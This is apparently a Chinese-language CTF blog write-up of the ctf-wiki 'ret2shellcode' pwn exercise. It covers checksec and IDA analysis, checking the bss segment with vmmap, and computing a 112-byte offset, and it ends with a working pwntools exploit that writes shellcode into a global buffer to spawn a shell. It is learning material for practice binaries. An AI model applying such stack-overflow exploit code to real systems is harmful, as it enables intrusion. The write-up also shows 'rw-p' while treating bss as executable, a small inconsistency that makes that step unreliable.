week3 T3


T3 ret2shellcode 1 (bss段写入)

2023-01-15WP
ctf-wiki pwn
考点:栈溢出 shellcode

0x01

file,checksec —— 32bit,啥保护都没开

0x02

IDA查看源码,没有system函数和/bin/sh字符串
并且可以看到,main函数中,gets函数读取用户输入到变量s,strcnp将s中的字符串复制到buf2处

buf2并没有在main函数中看到定义,应该是全局变量,进一步查看buf2在bss段中

0x03

通过vmmap我们可以查看bss段是否具有可执行权限

rw-p,可读可写
(这里操作上要注意一下,vmmap的命令要在程序运行时使用,可以给程序下断点或者ctrl+C停住程序再输命令)

参考资料

0x04

有执行权限的话就可以向bss段写入shellcode了,之后控制程序返回执行shellcode
在写exp之前还要先计算偏移量,方法和ret2text类似,与之前的偏移量都是一样的
用gdb调试或者爆破求出偏移量为112
使用shellcraft.sh()生成shellcode,并且用shellcode.ljust()方法向左对齐补齐字符串,溢出填充返回地址
exp为

from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))

p.interactive()

0x05

好像shellcode写在栈或者bss段上都可以吧?

网上看到一个解释说不能直接把shellcode写在栈上?不知道对不对:
绝大多数的操作系统都默认开启ASLR保护,这大大提高了攻击栈的难度。因此,栈应当是我们最后考虑的对象


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录